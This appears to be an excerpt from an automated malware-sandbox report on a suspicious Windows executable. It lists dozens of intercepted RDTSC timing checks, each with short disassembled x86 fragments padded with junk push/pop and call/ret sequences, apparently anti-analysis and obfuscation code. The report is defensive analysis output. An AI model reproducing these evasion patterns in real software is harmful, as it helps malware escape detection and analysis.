Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 46D275 second address: 46D2A5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD1807ED54Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD1807ED551h 0x00000011 jmp 00007FD1807ED54Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 46D2A5 second address: 46D2AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 46D2AB second address: 46D2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 46D2B1 second address: 46D2B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 43537D second address: 435398 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD1807ED553h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 435398 second address: 43539C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47372B second address: 473732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 473732 second address: 47373A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 473A17 second address: 473A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED552h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 473A2D second address: 473A33 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 473D4A second address: 473D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 473EFA second address: 473EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 473EFE second address: 473F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 473F04 second address: 473F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4775C7 second address: 4775D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 477851 second address: 477857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47794C second address: 477950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 477FED second address: 477FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 477FF2 second address: 47800E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED558h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47828A second address: 478297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 478297 second address: 47829B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47829B second address: 4782A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4782A5 second address: 4782A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 478B94 second address: 478BD2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD180B5C156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c ja 00007FD180B5C164h 0x00000012 nop 0x00000013 mov dword ptr [ebp+1245A7BFh], esi 0x00000019 push 00000000h 0x0000001b mov esi, dword ptr [ebp+122D2BCBh] 0x00000021 push 00000000h 0x00000023 sub edi, dword ptr [ebp+122D2BEBh] 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f pop edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 479562 second address: 479566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47A5F7 second address: 47A606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47A606 second address: 47A66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED559h 0x00000009 popad 0x0000000a pop esi 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D1BD9h], ecx 0x00000012 push 00000000h 0x00000014 mov esi, dword ptr [ebp+122D2CDFh] 0x0000001a push 00000000h 0x0000001c jmp 00007FD1807ED553h 0x00000021 xchg eax, ebx 0x00000022 jmp 00007FD1807ED559h 0x00000027 push eax 0x00000028 push ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jc 00007FD1807ED546h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47CB88 second address: 47CB93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FD180B5C156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47B8CA second address: 47B8CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 43BD85 second address: 43BDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FD180B5C158h 0x0000000b pushad 0x0000000c jmp 00007FD180B5C15Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DEE3 second address: 47DEED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DEED second address: 47DF07 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD180B5C156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FD180B5C15Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DC5E second address: 47DC79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED557h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DF07 second address: 47DF42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1C93h], ebx 0x00000010 push 00000000h 0x00000012 stc 0x00000013 push 00000000h 0x00000015 mov edi, eax 0x00000017 mov edi, dword ptr [ebp+122D2B17h] 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jl 00007FD180B5C15Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DC79 second address: 47DC95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED550h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DF42 second address: 47DF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DC95 second address: 47DC99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47E94D second address: 47E952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47E952 second address: 47E96E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED558h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47E96E second address: 47E9EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add dword ptr [ebp+122D30A3h], edi 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FD180B5C158h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FD180B5C158h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 jmp 00007FD180B5C164h 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 je 00007FD180B5C15Ch 0x00000056 jl 00007FD180B5C156h 0x0000005c pop eax 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47E9EB second address: 47E9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47E9EF second address: 47E9F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47E9F5 second address: 47E9FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD1807ED546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47F41C second address: 47F420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47F420 second address: 47F47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FD1807ED552h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, dword ptr [ebp+122D2CD3h] 0x00000016 push 00000000h 0x00000018 mov edi, dword ptr [ebp+122D2F25h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007FD1807ED548h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a mov si, bx 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jnc 00007FD1807ED54Ch 0x00000046 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 481EA9 second address: 481EBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FD180B5C156h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4842BE second address: 484377 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FD1807ED557h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FD1807ED548h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D2AAFh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007FD1807ED548h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d mov edi, dword ptr [ebp+122D2C1Bh] 0x00000053 push 00000000h 0x00000055 jo 00007FD1807ED55Ch 0x0000005b pushad 0x0000005c pushad 0x0000005d popad 0x0000005e jmp 00007FD1807ED552h 0x00000063 popad 0x00000064 xchg eax, esi 0x00000065 jmp 00007FD1807ED555h 0x0000006a push eax 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jo 00007FD1807ED546h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 484377 second address: 48437B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4844E5 second address: 4844EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4844EC second address: 484507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 484507 second address: 48450D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4855CB second address: 4855CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4871AB second address: 4871B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4855CF second address: 4855E0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD180B5C156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4871B1 second address: 4871B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4871B5 second address: 4871EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jng 00007FD180B5C169h 0x00000013 jmp 00007FD180B5C163h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4871EB second address: 4871EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 488276 second address: 4882E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007FD180B5C158h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 jnc 00007FD180B5C15Ch 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007FD180B5C158h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 mov bx, ax 0x00000048 mov di, 24E3h 0x0000004c push 00000000h 0x0000004e mov edi, dword ptr [ebp+12463303h] 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 jl 00007FD180B5C158h 0x0000005d push ebx 0x0000005e pop ebx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4873B2 second address: 4873B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48A4DD second address: 48A4E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD180B5C156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48B5DA second address: 48B5DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48C343 second address: 48C347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48C347 second address: 48C34B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48C34B second address: 48C3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FD180B5C158h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jmp 00007FD180B5C165h 0x00000029 push 00000000h 0x0000002b cld 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007FD180B5C158h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 movzx ebx, si 0x0000004b push eax 0x0000004c push ecx 0x0000004d je 00007FD180B5C15Ch 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48D355 second address: 48D359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48A7C3 second address: 48A7C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48E50A second address: 48E517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48E517 second address: 48E51B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 48F287 second address: 48F2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 sub edi, dword ptr [ebp+122D3A88h] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FD1807ED548h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b push edi 0x0000002c xor dword ptr [ebp+122D2FC4h], ebx 0x00000032 pop ebx 0x00000033 push 00000000h 0x00000035 mov edi, 4BEB6400h 0x0000003a xchg eax, esi 0x0000003b jns 00007FD1807ED54Eh 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jnl 00007FD1807ED548h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 491278 second address: 49127C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 49127C second address: 49128A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD1807ED546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4301BD second address: 4301C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4A0FB1 second address: 4A0FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4A30BA second address: 4A30C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4A30C0 second address: 4A30C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4A32ED second address: 4A32F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4A8328 second address: 4A8341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED555h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4A8341 second address: 4A8347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4A8347 second address: 4A834B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4AF444 second address: 4AF489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FD180B5C156h 0x0000000b pop eax 0x0000000c jmp 00007FD180B5C166h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD180B5C165h 0x0000001a pushad 0x0000001b jp 00007FD180B5C156h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
